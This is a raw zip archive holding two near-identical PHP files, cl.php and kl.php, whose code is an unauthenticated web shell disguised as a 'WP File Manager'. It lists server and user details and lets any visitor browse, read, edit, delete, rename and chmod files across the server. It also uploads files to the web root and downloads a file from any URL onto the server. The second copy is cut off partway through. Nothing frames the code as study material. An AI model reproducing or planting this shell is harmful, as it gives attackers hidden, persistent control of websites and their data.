PK“&{]„N9³§Ë§Ëirina@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëirina@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
